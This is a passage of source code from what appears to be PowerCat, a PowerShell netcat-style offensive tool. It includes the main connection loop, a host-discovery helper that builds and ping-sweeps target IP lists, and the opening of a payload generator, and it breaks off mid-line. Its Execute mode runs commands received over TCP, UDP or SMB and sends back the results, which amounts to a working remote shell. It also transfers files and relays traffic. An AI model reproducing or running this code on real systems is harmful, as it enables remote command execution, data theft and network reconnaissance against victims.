[IO.FileMode]::Append) } 92 | elseif ($PSCmdlet.ParameterSetName -eq 'SendFile') { 93 | 94 | Write-Verbose "Attempting to send $SendFile" 95 | 96 | if ((Test-Path $SendFile)) { 97 | 98 | try { $FileStream = New-Object IO.FileStream @($SendFile, [IO.FileMode]::Open) } 99 | catch { Write-Warning $_.Exception.Message } 100 | 101 | if ($BytesLeft = $FileStream.Length) { # goto Cleanup 102 | 103 | $FileOffset = 0 104 | if ($BytesLeft -gt 4608) { # Max packet size for Ncat 105 | 106 | $BytesToSend = New-Object Byte[] 4608 107 | 108 | while ($BytesLeft -gt 4608) { 109 | 110 | [void]$FileStream.Seek($FileOffset, [IO.SeekOrigin]::Begin) 111 | [void]$FileStream.Read($BytesToSend, 0, 4608) 112 | 113 | $FileOffset += 4608 114 | $BytesLeft -= 4608 115 | 116 | Write-NetworkStream $Mode $ServerStream $BytesToSend 117 | } 118 | # Send last packet 119 | $BytesToSend = New-Object Byte[] $BytesLeft 120 | [void]$FileStream.Seek($FileOffset, [IO.SeekOrigin]::Begin) 121 | [void]$FileStream.Read($BytesToSend, 0, $BytesLeft) 122 | 123 | Write-NetworkStream $Mode $ServerStream $BytesToSend 124 | } 125 | else { # Only need to send one packet 126 | $BytesToSend = New-Object Byte[] $BytesLeft 127 | [void]$FileStream.Seek($FileOffset, [IO.SeekOrigin]::Begin) 128 | [void]$FileStream.Read($BytesToSend, 0, $BytesLeft) 129 | 130 | Write-NetworkStream $Mode $ServerStream $BytesToSend 131 | } 132 | $FileStream.Flush() 133 | $FileStream.Dispose() 134 | } 135 | if ($Mode -eq 'Smb') { $ServerStream.Pipe.WaitForPipeDrain() } 136 | if ($Mode -eq 'Tcp') { sleep 1 } 137 | } 138 | else { Write-Warning "$SendFile does not exist." } 139 | } 140 | elseif ($PSCmdlet.ParameterSetName -eq 'Relay') { 141 | 142 | Write-Verbose "Setting up relay stream..." 143 | 144 | $RelayConfig = $Relay.Split(':') 145 | $RelayMode = $RelayConfig[0].ToLower() 146 | 147 | if ($RelayConfig.Count -eq 2) { # Listener 148 | switch ($RelayMode) { 149 | 'smb' { $RelayStream = New-SmbStream -Listener $RelayConfig[1] ; continue } 150 | 'tcp' { $RelayStream = New-TcpStream -Listener $RelayConfig[1] ; continue } 151 | 'udp' { $RelayStream = New-UdpStream -Listener $RelayConfig[1] ; continue } 152 | default { Write-Warning 'Invalid relay mode specified.' ; return } 153 | } 154 | } 155 | elseif ($RelayConfig.Count -eq 3) { # Client 156 | if ($RelayConfig[1] -match "^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$") { 157 | $ServerIp = [Net.IPAddress]::Parse($RelayConfig[1]) 158 | switch ($RelayMode) { 159 | 'smb' { $RelayStream = New-SmbStream $RelayConfig[1] $RelayConfig[2] ; continue } 160 | 'tcp' { $RelayStream = New-TcpStream $ServerIp $RelayConfig[2] ; continue } 161 | 'udp' { $RelayStream = New-UdpStream $ServerIp $RelayConfig[2] ; continue } 162 | default { Write-Warning 'Invalid relay mode specified.' ; return } 163 | } 164 | } 165 | else { Write-Warning "$($RelayConfig[1]) is not a valid IPv4 address." } 166 | } 167 | else { Write-Warning 'Invalid relay format.' } 168 | } 169 | elseif ($PSCmdlet.ParameterSetName -eq 'Execute') { 170 | if ($ServerStream) { 171 | $BytesToSend = $EncodingType.GetBytes("`nPowerCat by @secabstraction`n") 172 | if ($ParameterDictionary.ScriptBlock.Value) { 173 | 174 | $ScriptBlock = $ParameterDictionary.ScriptBlock.Value 175 | 176 | $Global:Error.Clear() 177 | 178 | $BytesToSend += $EncodingType.GetBytes(($ScriptBlock.Invoke($ParameterDictionary.ArgumentList.Value) | Out-String)) 179 | if ($Global:Error.Count) { foreach ($Err in $Global:Error) { $BytesToSend += $EncodingType.GetBytes($Err.Exception.Message) } } 180 | } 181 | $BytesToSend += $EncodingType.GetBytes(("`nPS $((Get-Location).Path)> ")) 182 | Write-NetworkStream $Mode $ServerStream $BytesToSend 183 | $ScriptBlock = $null 184 | $BytesToSend = $null 185 | } 186 | } 187 | 188 | [console]::TreatControlCAsInput = $true 189 | 190 | while ($true) { 191 | if ($PSCmdlet.ParameterSetName -eq 'SendFile') { break } 192 | if ($Disconnect.IsPresent) { break } # goto Cleanup 193 | 194 | # Catch Esc / Read-Host 195 | if ([console]::KeyAvailable) { 196 | $Key = [console]::ReadKey() 197 | if ($Key.Key -eq [Consolekey]::Escape) { 198 | Write-Verbose 'Caught escape sequence, stopping PowerCat.' 199 | return 200 | } 201 | if ($PSCmdlet.ParameterSetName -eq 'Console') { 202 | $BytesToSend = $EncodingType.GetBytes($Key.KeyChar + (Read-Host) + "`n") 203 | Write-NetworkStream $Mode $ServerStream $BytesToSend 204 | } 205 | } 206 | 207 | # Get data from the network 208 | if ($InitialBytes) { $ReceivedBytes = $InitialBytes ; $InitialBytes = $null } 209 | elseif ($ServerStream.Socket.Connected -or $ServerStream.Pipe.IsConnected) { 210 | if ($ServerStream.Read.IsCompleted) { $ReceivedBytes = Read-NetworkStream $Mode $ServerStream } 211 | else { Start-Sleep -Milliseconds 1 ; continue } 212 | } 213 | else { Write-Verbose "$Mode connection broken, exiting." ; break } 214 | 215 | # Redirect received bytes 216 | if ($PSCmdlet.ParameterSetName -eq 'Execute') { 217 | try { $ScriptBlock = [ScriptBlock]::Create($EncodingType.GetString($ReceivedBytes)) } 218 | catch { break } # network stream closed 219 | 220 | $Global:Error.Clear() 221 | 222 | $BytesToSend += $EncodingType.GetBytes(($ScriptBlock.Invoke() | Out-String)) 223 | foreach ($Err in $Global:Error) { $BytesToSend += $EncodingType.GetBytes($Err.Exception.Message) } 224 | $BytesToSend += $EncodingType.GetBytes(("`nPS $((Get-Location).Path)> ")) 225 | 226 | Write-NetworkStream $Mode $ServerStream $BytesToSend 227 | $BytesToSend = $null 228 | $ScriptBlock = $null 229 | continue 230 | } 231 | elseif ($PSCmdlet.ParameterSetName -eq 'Relay') { Write-NetworkStream $RelayMode $RelayStream $ReceivedBytes ; continue } 232 | elseif ($PSCmdlet.ParameterSetName -eq 'ReceiveFile') { 233 | try { $FileStream.Write($ReceivedBytes, 0, $ReceivedBytes.Length) } 234 | catch { break } # EOF reached 235 | continue 236 | } 237 | else { # Console 238 | try { Write-Host -NoNewline $EncodingType.GetString($ReceivedBytes).TrimEnd("`r") } 239 | catch { break } # network stream closed 240 | } 241 | } 242 | 243 | # Cleanup 244 | Write-Host "`n" 245 | if ($PSCmdlet.ParameterSetName -eq 'ReceiveFile') { $FileStream.Flush() ; $FileStream.Dispose() } 246 | 247 | try { Close-NetworkStream $Mode $ServerStream } 248 | catch { Write-Warning "Failed to close client stream. $($_.Exception.Message)" } 249 | 250 | if ($PSCmdlet.ParameterSetName -eq 'Relay') { 251 | try { Close-NetworkStream $RelayMode $RelayStream } 252 | catch { Write-Warning "Failed to close relay stream. $($_.Exception.Message)" } 253 | } 254 | [console]::TreatControlCAsInput = $false 255 | if (!$KeepAlive.IsPresent) { break } 256 | } 257 | } 258 | End {} 259 | } 260 | -------------------------------------------------------------------------------- /Functions/Helpers/New-TargetList.ps1: -------------------------------------------------------------------------------- 1 | function New-TargetList { 2 | <# 3 | .SYNOPSIS 4 | Dynamically builds a list of targetable hosts. 5 | 6 | Version: 0.1 7 | Author : Jesse Davis (@secabstraction) 8 | License: BSD 3-Clause 9 | 10 | .DESCRIPTION 11 | 12 | 13 | .PARAMETER NetAddress 14 | Specify an IPv4 network address, requires the NetMask parameter. 15 | 16 | .PARAMETER NetMask 17 | Specify the network mask as an IPv4 address, used with NetAddress parameter. 18 | 19 | .PARAMETER StartAddress 20 | Specify an IPv4 address at the beginning of a range of addresses. 21 | 22 | .PARAMETER EndAddress 23 | Specify an IPv4 address at the end of a range of addresses. 24 | 25 | .PARAMETER Cidr 26 | Specify a single IPv4 network or a list of networks in CIDR notation. 27 | 28 | .PARAMETER NoStrikeList 29 | Specify the path to a list of IPv4 addresses that should never be touched. 30 | 31 | .PARAMETER ResolveIp 32 | Attemtps to Resolve IPv4 addresses to hostnames using DNS lookups. 33 | 34 | .PARAMETER Randomize 35 | Randomizes the list of targets returned. 36 | 37 | .EXAMPLE 38 | The following example builds a list of IP addresses from 10.10.10.1-10.10.10.254 and 10.10.20.1-10.10.20.254 39 | 40 | PS C:\> New-TargetList -Cidr 10.10.10.0/24,10.10.20.0/24 41 | 42 | .EXAMPLE 43 | The following example builds a list of IP addresses from 10.10.10.1-10.10.10.254 44 | 45 | PS C:\> New-TargetList -StartAddress 10.10.10.1 -EndAddress 10.10.10.254 46 | 47 | .EXAMPLE 48 | The following example builds a list of IP addresses from 10.10.10.1-10.10.10.254 49 | 50 | PS C:\> New-TargetList -NetAddress 10.10.10.0 -NetMask 255.255.255.0 51 | 52 | .EXAMPLE 53 | The following example builds a list of IP addresses from 10.10.10.1-10.10.10.254 and randomizes the output. 54 | 55 | PS C:\> New-TargetList -NetAddress 10.10.10.0 -NetMask 255.255.255.0 -Randomize 56 | 57 | .EXAMPLE 58 | The following example builds a list of IP addresses from 10.10.10.1-10.10.10.254 and returns a list of IP addresses that repsond to ping requests. 59 | 60 | PS C:\> New-TargetList -Cidr 10.10.10.0/24 -FindAlives 61 | 62 | .EXAMPLE 63 | The following example builds a list of IP addresses from 10.10.10.1-10.10.10.254 and returns a list of hostnames that repsond to ping requests and have DNS entries. 64 | 65 | PS C:\> New-TargetList -Cidr 10.10.10.0/24 -FindAlives -ResolveIp 66 | 67 | .EXAMPLE 68 | The following example builds a list of IP addresses from 10.10.10.1-10.10.10.254 and returns a list of hostnames that repsond to ping requests, have DNS entries, and are not included in a no-strike list. 69 | 70 | PS C:\> New-TargetList -Cidr 10.10.10.0/24 -FindAlives -ResolveIp -NoStrikeList C:\pathto\NoStrikeList.txt 71 | 72 | .NOTES 73 | 74 | #> 75 | Param( 76 | [Parameter(ParameterSetName = "NetMask", Position = 0, Mandatory = $true)] 77 | [String]$NetAddress, 78 | 79 | [Parameter(ParameterSetName = "NetMask", Position = 1, Mandatory = $true)] 80 | [String]$NetMask, 81 | 82 | [Parameter(ParameterSetName = "IpRange", Position = 0, Mandatory = $true)] 83 | [String]$StartAddress, 84 | 85 | [Parameter(ParameterSetName = "IpRange", Position = 1, Mandatory = $true)] 86 | [String]$EndAddress, 87 | 88 | [Parameter(ParameterSetName = "Cidr", Position = 0, Mandatory = $true)] 89 | [String[]]$Cidr, 90 | 91 | [Parameter()] 92 | [String]$NoStrikeList, 93 | 94 | [Parameter()] 95 | [Switch]$FindAlives, 96 | 97 | [Parameter()] 98 | [Switch]$ResolveIp, 99 | 100 | [Parameter()] 101 | [Switch]$Randomize 102 | ) #End Param 103 | 104 | #region HELPERS 105 | function local:Convert-Ipv4ToInt64 { 106 | param ( 107 | [Parameter()] 108 | [String]$Ipv4Address 109 | ) 110 | $Octets = $Ipv4Address.split('.') 111 | Write-Output ([Int64]( [Int64]$Octets[0] * 16777216 + [Int64]$Octets[1] * 65536 + [Int64]$Octets[2] * 256 + [Int64]$Octets[3] )) 112 | } 113 | function local:Convert-Int64ToIpv4 { 114 | param ( 115 | [Parameter()] 116 | [Int64]$Int64 117 | ) 118 | Write-Output (([Math]::Truncate($Int64 / 16777216)).ToString() + "." + ([Math]::Truncate(($Int64 % 16777216) / 65536)).ToString() + "." + ([Math]::Truncate(($Int64 % 65536) / 256)).ToString() + "." + ([Math]::Truncate($Int64 % 256)).ToString()) 119 | } 120 | #endregion HELPERS 121 | 122 | #regex for input validation 123 | $IPv4 = "^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$" 124 | $IPv4_CIDR = "^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])(\/([0-9]|[1-2][0-9]|3[0-2]))$" 125 | 126 | $IpList = New-Object Collections.Arraylist 127 | 128 | #Build IP Address list 129 | if ($PSCmdlet.ParameterSetName -eq "Cidr") { 130 | Write-Verbose "Building target list..." 131 | 132 | foreach ($Address in $Cidr) { 133 | if ($Address -notmatch $IPv4_CIDR) { 134 | Write-Warning "$Address is not a valid CIDR address!" 135 | continue 136 | } 137 | 138 | $Split = $Address.Split('/') 139 | $Net = [Net.IPAddress]::Parse($Split[0]) 140 | $Mask = [Net.IPAddress]::Parse((Convert-Int64ToIpv4 -Int64 ([Convert]::ToInt64(("1" * $Split[1] + "0" * (32 - $Split[1])), 2)))) 141 | 142 | $Network = New-Object Net.IPAddress ($Mask.Address -band $Net.Address) 143 | $Broadcast = New-Object Net.IPAddress (([Net.IPAddress]::Parse("255.255.255.255").Address -bxor $Mask.Address -bor $Network.Address)) 144 | 145 | $Start = Convert-Ipv4ToInt64 -Ipv4Address $Network.IPAddressToString 146 | $End = Convert-Ipv4ToInt64 -Ipv4Address $Broadcast.IPAddressToString 147 | 148 | for ($i = $Start + 1; $i -lt $End; $i++) { [void]$IpList.Add((Convert-Int64ToIpv4 -Int64 $i)) } 149 | } 150 | } 151 | if ($PSCmdlet.ParameterSetName -eq "NetMask") { 152 | Write-Verbose "Building target list..." 153 | 154 | if ($NetAddress -notmatch $IPv4) { 155 | Write-Warning "$NetAddress is not a valid IPv4 address!" 156 | break 157 | } 158 | if ($NetMask -notmatch $IPv4) { 159 | Write-Warning "$NetMask is not a valid network mask!" 160 | break 161 | } 162 | 163 | $Net = [Net.IPAddress]::Parse($NetAddress) 164 | $Mask = [Net.IPAddress]::Parse($NetMask) 165 | 166 | $Network = New-Object Net.IPAddress ($Mask.Address -band $Net.Address) 167 | $Broadcast = New-Object Net.IPAddress (([Net.IPAddress]::Parse("255.255.255.255").Address -bxor $Mask.Address -bor $Network.Address)) 168 | 169 | $Start = Convert-Ipv4ToInt64 -Ipv4Address $Network.IPAddressToString 170 | $End = Convert-Ipv4ToInt64 -Ipv4Address $Broadcast.IPAddressToString 171 | 172 | for ($i = $Start + 1; $i -lt $End; $i++) { [void]$IpList.Add((Convert-Int64ToIpv4 -Int64 $i)) } 173 | } 174 | if ($PSCmdlet.ParameterSetName -eq "IpRange") { 175 | Write-Verbose "Building target list..." 176 | 177 | if ($StartAddress -notmatch $IPv4) { 178 | Write-Warning "$StartAddress is not a valid IPv4 address!" 179 | break 180 | } 181 | if ($EndAddress -notmatch $IPv4) { 182 | Write-Warning "$EndAddress is not a valid network mask!" 183 | break 184 | } 185 | 186 | $Start = Convert-Ipv4ToInt64 -Ipv4Address $StartAddress 187 | $End = Convert-Ipv4ToInt64 -Ipv4Address $EndAddress 188 | 189 | for ($i = $Start ; $i -le $End; $i++) { [void]$IpList.Add((Convert-Int64ToIpv4 -Int64 $i)) } 190 | } 191 | 192 | ######### Remove Assets ######### 193 | if ($PSBoundParameters['NoStrikeList']) { 194 | $ExclusionList = New-Object Collections.Arraylist 195 | 196 | $NoStrike = Get-Content $NoStrikeList | Where-Object {$_ -notmatch "^#"} 197 | foreach ($Entry in $NoStrike) { 198 | if ($Entry -match $IPv4) { $ExclusionList.Add($Entry) } 199 | else { 200 | try { $ResolvedIp = ([Net.DNS]::GetHostByName("$Entry")).AddressList[0].IPAddressToString } 201 | catch { 202 | Write-Warning "$Entry is not a valid IPv4 address nor resolvable hostname. Check no strike list formatting." 203 | continue 204 | } 205 | [void]$ExclusionList.Add($ResolvedIp) 206 | } 207 | } 208 | 209 | $ValidTargets = $IpList | Where-Object { $ExclusionList -notcontains $_ } 210 | } 211 | else { $ValidTargets = $IpList } 212 | 213 | ######### Randomize list ######### 214 | if ($Randomize.IsPresent) { 215 | Write-Verbose "Randomizing target list..." 216 | $Random = New-Object Random 217 | $ValidTargets = ($ValidTargets.Count)..1 | ForEach-Object { $Random.Next(0, $ValidTargets.Count) | ForEach-Object { $ValidTargets[$_]; $ValidTargets.RemoveAt($_) } } 218 | } 219 | 220 | ########## Find Alives & Resolve Hostnames ########### 221 | if ($FindAlives.IsPresent -and $ResolveIp.IsPresent) { 222 | Write-Verbose "Pinging hosts..." 223 | 224 | $Pings = New-Object Collections.ArrayList 225 | $AliveTargets = New-Object Collections.ArrayList 226 | 227 | foreach ($Address in $ValidTargets) { 228 | [void]$Pings.Add((New-Object Net.NetworkInformation.Ping).SendPingAsync($Address, 250)) 229 | } 230 | [Threading.Tasks.Task]::WaitAll($Pings) 231 | 232 | foreach ($Ping in $Pings) { 233 | if ($Ping.Result.Status -eq [Net.NetworkInformation.IPStatus]::Success) { 234 | [void]$AliveTargets.Add($Ping.Result.Address.IPAddressToString) 235 | } 236 | } 237 | Write-Verbose " $($AliveTargets.Count) hosts alive..." 238 | 239 | if ($AliveTargets.Count -lt 1) { 240 | Write-Warning "No alive hosts found. If hosts are responding to ping, check configuration." 241 | break 242 | } 243 | else { 244 | Write-Verbose "Resolving hostnames, this may take a while..." 245 | 246 | $ResolvedHosts = New-Object Collections.Arraylist 247 | $i = 1 248 | foreach ($Ip in $AliveTargets) { 249 | #Progress Bar 250 | Write-Progress -Activity "Resolving Hosts - *This may take a while*" -Status "Hosts Processed: $i of $($AliveTargets.Count)" -PercentComplete ($i / $AliveTargets.Count * 100) 251 | 252 | #Resolve the name of the host 253 | $CurrentEAP = $ErrorActionPreference 254 | $ErrorActionPreference = "SilentlyContinue" 255 | [void]$ResolvedHosts.Add(([Net.DNS]::GetHostByAddress($Ip)).HostName) 256 | $ErrorActionPreference = $CurrentEAP 257 | 258 | $i++ 259 | } 260 | Write-Progress -Activity "Resolving Hosts" -Status "Done" -Completed 261 | Write-Output $ResolvedHosts 262 | } 263 | } 264 | 265 | ########## Only Find Alives ############## 266 | elseif ($FindAlives.IsPresent -and !$ResolveIp.IsPresent) { 267 | Write-Verbose "Finding alive hosts..." 268 | 269 | $Pings = New-Object Collections.ArrayList 270 | $AliveTargets = New-Object Collections.ArrayList 271 | 272 | foreach ($Address in $ValidTargets) { 273 | [void]$Pings.Add((New-Object Net.NetworkInformation.Ping).SendPingAsync($Address, 250)) 274 | } 275 | 276 | [Threading.Tasks.Task]::WaitAll($Pings) 277 | 278 | foreach ($Ping in $Pings) { 279 | if ($Ping.Result.Status -eq [Net.NetworkInformation.IPStatus]::Success) { 280 | [void]$AliveTargets.Add($Ping.Result.Address.IPAddressToString) 281 | } 282 | } 283 | 284 | if ($AliveTargets.Count -lt 1) { 285 | Write-Warning "No alive hosts found. If hosts are responding to ping, check configuration." 286 | break 287 | } 288 | else { 289 | Write-Verbose " $($AliveTargets.Count) alive and targetable hosts..." 290 | Write-Output $AliveTargets 291 | } 292 | } 293 | 294 | ########## Only Resolve Hostnames ######## 295 | elseif ($ResolveIp.IsPresent -and !$FindAlives.IsPresent) { 296 | Write-Verbose "Resolving hostnames, this may take a while..." 297 | 298 | $ResolvedHosts = New-Object Collections.Arraylist 299 | $i = 1 300 | foreach ($Ip in $ValidTargets) { 301 | #Progress Bar 302 | Write-Progress -Activity "Resolving Hosts - *This may take a while*" -Status "Hosts Processed: $i of $($ValidTargets.Count)" -PercentComplete ($i / $ValidTargets.Count * 100) 303 | 304 | #Resolve the name of the host 305 | $CurrentEAP = $ErrorActionPreference 306 | $ErrorActionPreference = "SilentlyContinue" 307 | [void]$ResolvedHosts.Add(([Net.DNS]::GetHostByAddress($Ip)).HostName) 308 | $ErrorActionPreference = $CurrentEAP 309 | 310 | $i++ 311 | } 312 | Write-Progress -Activity "Resolving Hosts" -Status "Done" -Completed 313 | Write-Output $ResolvedHosts 314 | } 315 | 316 | ########## Don't find alives or resolve ######## 317 | else { Write-Output $ValidTargets } 318 | } 319 | -------------------------------------------------------------------------------- /Functions/New-PowerCatPayload.ps1: -------------------------------------------------------------------------------- 1 | function New-PowerCatPayload { 2 | <# 3 | Author: Jesse Davis (@secabstraction) 4 | License: BSD 3-Clause 5 | #> 6 | [CmdletBinding(DefaultParameterSetName = 'Execute')] 7 | Param ( 8 | [Parameter(Position = 0)] 9 | [Alias('m')] 10 | [ValidateSet('Smb', 'Tcp', 'Udp')] 11 | [String]$Mode = 'Tcp', 12 | 13 | [Parameter()] 14 | [Switch]$Listener, 15 | 16 | [Parameter(ParameterSetName = 'Execute')] 17 | [Alias('e')] 18 | [Switch]$Execute, 19 | 20 | [Parameter(ParameterSetName = 'Relay')] 21 | [Alias('r')] 22 | [String]$Relay, 23 | 24 | [Parameter(ParameterSetName = 'ReceiveFile')] 25 | [Alias('rf')] 26 | [String]$ReceiveFile, 27 | 28 | [Parameter(ParameterSetName = 'SendFile')] 29 | [Alias('sf')] 30 | [String]$SendFile, 31 | 32 | [Parameter()] 33 | [Alias('d')] 34 | [Switch]$Disconnect, 35 | 36 | [Parameter()] 37 | [Alias('t')] 38 | [Int]$Timeout = 60, 39 | 40 | [Parameter()] 41 | [ValidateSet('Ascii','Unicode','UTF7','UTF8','UTF32')] 42 | [String]$Encoding = 'Ascii' 43 | ) 44 | DynamicParam { 45 | $ParameterDictionary = New-Object Management.Automation.RuntimeDefinedParameterDictionary 46 | 47 | if ($Mode -eq 'Smb') { New-RuntimeParameter -Name PipeName -Type String -Mandatory -Position 1 -ParameterDictionary $ParameterDictionary } 48 | else { New-RuntimeParameter -Name Port -Type Int -Mandatory -Position 1 -ParameterDictionary $ParameterDictionary } 49 | 50 | if ($Mode -eq 'Tcp') { New-RuntimeParameter -Name SslCn -Type String -ParameterDictionary $ParameterDictionary } 51 | 52 | if (!$Listener.IsPresent) { 53 | $Ipv4 = [regex]"^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$" 54 | New-RuntimeParameter -Name RemoteIp -Type String -Mandatory -Position 2 -ValidatePattern $Ipv4 -ParameterDictionary $ParameterDictionary 55 | } 56 | 57 | if ($Execute.IsPresent) { 58 | New-RuntimeParameter -Name ScriptBlock -Type ScriptBlock -ParameterDictionary $ParameterDictionary 59 | New-RuntimeParameter -Name ArgumentList -Type Object[] -ParameterDictionary $ParameterDictionary 60 | } 61 | if ($Execute.IsPresent -and $Listener.IsPresent) { New-RuntimeParameter -Name KeepAlive -Type Switch -ParameterDictionary $ParameterDictionary } 62 | return $ParameterDictionary 63 | } 64 | Begin { 65 | # These scripts had to be hard-coded here because DynamicParams SUCK! Shame on me. 66 | $StartPowerCat = @' 67 | [CmdletBinding(DefaultParameterSetName = 'Console')] 68 | Param ( 69 | [Parameter(Position = 0)] 70 | [Alias('m')] 71 | [ValidateSet('Smb', 'Tcp', 'Udp')] 72 | [String]$Mode = 'Tcp', 73 | 74 | [Parameter(ParameterSetName = 'Execute')] 75 | [Alias('e')] 76 | [Switch]$Execute, 77 | 78 | [Parameter(ParameterSetName = 'Relay')] 79 | [Alias('r')] 80 | [String]$Relay, 81 | 82 | [Parameter(ParameterSetName = 'ReceiveFile')] 83 | [Alias('rf')] 84 | [String]$ReceiveFile, 85 | 86 | [Parameter(ParameterSetName = 'SendFile')] 87 | [Alias('sf')] 88 | [String]$SendFile, 89 | 90 | [Parameter()] 91 | [Alias('d')] 92 | [Switch]$Disconnect, 93 | 94 | [Parameter()] 95 | [Alias('t')] 96 | [Int]$Timeout = 60, 97 | 98 | [Parameter()] 99 | [ValidateSet('Ascii','Unicode','UTF7','UTF8','UTF32')] 100 | [String]$Encoding = 'Ascii' 101 | ) 102 | DynamicParam { 103 | $ParameterDictionary = New-Object Management.Automation.RuntimeDefinedParameterDictionary 104 | 105 | if ($Mode -eq 'Smb') { New-RuntimeParameter -Name PipeName -Type String -Mandatory -Position 1 -ParameterDictionary $ParameterDictionary } 106 | else { New-RuntimeParameter -Name Port -Type Int -Mandatory -Position 1 -ParameterDictionary $ParameterDictionary } 107 | 108 | if ($Mode -eq 'Tcp') { New-RuntimeParameter -Name SslCn -Type String -ParameterDictionary $ParameterDictionary } 109 | 110 | if ($Execute.IsPresent) { 111 | New-RuntimeParameter -Name ScriptBlock -Type ScriptBlock -ParameterDictionary $ParameterDictionary 112 | New-RuntimeParameter -Name ArgumentList -Type Object[] -ParameterDictionary $ParameterDictionary 113 | New-RuntimeParameter -Name KeepAlive -Type Switch -ParameterDictionary $ParameterDictionary 114 | } 115 | return $ParameterDictionary 116 | } 117 | Begin {} 118 | Process { 119 | while ($true) { 120 | switch ($Mode) { 121 | 'Smb' { 122 | try { $ServerStream = New-SmbStream -Listener $ParameterDictionary.PipeName.Value $Timeout } 123 | catch { Write-Warning "Failed to open Smb stream. $($_.Exception.Message)" ; return } 124 | continue 125 | } 126 | 'Tcp' { 127 | if ((Test-Port $ParameterDictionary.Port.Value Tcp)) { 128 | try { $ServerStream = New-TcpStream -Listener $ParameterDictionary.Port.Value $ParameterDictionary.SslCn.Value $Timeout } 129 | catch { Write-Warning "Failed to open Tcp stream. $($_.Exception.Message)" ; return } 130 | } 131 | else { return } 132 | continue 133 | } 134 | 'Udp' { 135 | if ((Test-Port $ParameterDictionary.Port.Value Udp)) { 136 | try { $InitialBytes, $ServerStream = New-UdpStream -Listener $ParameterDictionary.Port.Value -TimeOut $Timeout } 137 | catch { Write-Warning "Failed to open Udp stream. $($_.Exception.Message)" ; return } 138 | } 139 | else { return } 140 | } 141 | } 142 | switch ($Encoding) { 143 | 'Ascii' { $EncodingType = New-Object Text.AsciiEncoding ; continue } 144 | 'Unicode' { $EncodingType = New-Object Text.UnicodeEncoding ; continue } 145 | 'UTF7' { $EncodingType = New-Object Text.UTF7Encoding ; continue } 146 | 'UTF8' { $EncodingType = New-Object Text.UTF8Encoding ; continue } 147 | 'UTF32' { $EncodingType = New-Object Text.UTF32Encoding ; continue } 148 | } 149 | 150 | if ($PSCmdlet.ParameterSetName -eq 'ReceiveFile') { $FileStream = New-Object IO.FileStream @($ReceiveFile, [IO.FileMode]::Append) } 151 | elseif ($PSCmdlet.ParameterSetName -eq 'SendFile') { 152 | 153 | Write-Verbose "Attempting to send $SendFile" 154 | 155 | if ((Test-Path $SendFile)) { 156 | 157 | try { $FileStream = New-Object IO.FileStream @($SendFile, [IO.FileMode]::Open) } 158 | catch { Write-Warning $_.Exception.Message } 159 | 160 | if ($BytesLeft = $FileStream.Length) { # goto Cleanup 161 | 162 | $FileOffset = 0 163 | if ($BytesLeft -gt 4608) { # Max packet size for Ncat 164 | 165 | $BytesToSend = New-Object Byte[] 4608 166 | 167 | while ($BytesLeft -gt 4608) { 168 | 169 | [void]$FileStream.Seek($FileOffset, [IO.SeekOrigin]::Begin) 170 | [void]$FileStream.Read($BytesToSend, 0, 4608) 171 | 172 | $FileOffset += 4608 173 | $BytesLeft -= 4608 174 | 175 | Write-NetworkStream $Mode $ServerStream $BytesToSend 176 | } 177 | # Send last packet 178 | $BytesToSend = New-Object Byte[] $BytesLeft 179 | [void]$FileStream.Seek($FileOffset, [IO.SeekOrigin]::Begin) 180 | [void]$FileStream.Read($BytesToSend, 0, $BytesLeft) 181 | 182 | Write-NetworkStream $Mode $ServerStream $BytesToSend 183 | } 184 | else { # Only need to send one packet 185 | $BytesToSend = New-Object Byte[] $BytesLeft 186 | [void]$FileStream.Seek($FileOffset, [IO.SeekOrigin]::Begin) 187 | [void]$FileStream.Read($BytesToSend, 0, $BytesLeft) 188 | 189 | Write-NetworkStream $Mode $ServerStream $BytesToSend 190 | } 191 | $FileStream.Flush() 192 | $FileStream.Dispose() 193 | } 194 | if ($Mode -eq 'Smb') { $ServerStream.Pipe.WaitForPipeDrain() } 195 | if ($Mode -eq 'Tcp') { sleep 1 } 196 | } 197 | else { Write-Warning "$SendFile does not exist." } 198 | } 199 | elseif ($PSCmdlet.ParameterSetName -eq 'Relay') { 200 | 201 | Write-Verbose "Setting up relay stream..." 202 | 203 | $RelayConfig = $Relay.Split(':') 204 | $RelayMode = $RelayConfig[0].ToLower() 205 | 206 | if ($RelayConfig.Count -eq 2) { # Listener 207 | switch ($RelayMode) { 208 | 'smb' { $RelayStream = New-SmbStream -Listener $RelayConfig[1] ; continue } 209 | 'tcp' { $RelayStream = New-TcpStream -Listener $RelayConfig[1] ; continue } 210 | 'udp' { $RelayStream = New-UdpStream -Listener $RelayConfig[1] ; continue } 211 | default { Write-Warning 'Invalid relay mode specified.' ; return } 212 | } 213 | } 214 | elseif ($RelayConfig.Count -eq 3) { # Client 215 | if ($RelayConfig[1] -match "^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$") { 216 | $ServerIp = [Net.IPAddress]::Parse($RelayConfig[1]) 217 | switch ($RelayMode) { 218 | 'smb' { $RelayStream = New-SmbStream $RelayConfig[1] $RelayConfig[2] ; continue } 219 | 'tcp' { $RelayStream = New-TcpStream $ServerIp $RelayConfig[2] ; continue } 220 | 'udp' { $RelayStream = New-UdpStream $ServerIp $RelayConfig[2] ; continue } 221 | default { Write-Warning 'Invalid relay mode specified.' ; return } 222 | } 223 | } 224 | else { Write-Warning "$($RelayConfig[1]) is not a valid IPv4 address." } 225 | } 226 | else { Write-Warning 'Invalid relay format.' } 227 | } 228 | elseif ($PSCmdlet.ParameterSetName -eq 'Execute') { 229 | if ($ServerStream) { 230 | $BytesToSend = $EncodingType.GetBytes("`nPowerCat by @secabstraction`n") 231 | if ($ParameterDictionary.ScriptBlock.Value) { 232 | 233 | $ScriptBlock = $ParameterDictionary.ScriptBlock.Value 234 | 235 | $Global:Error.Clear() 236 | 237 | $BytesToSend += 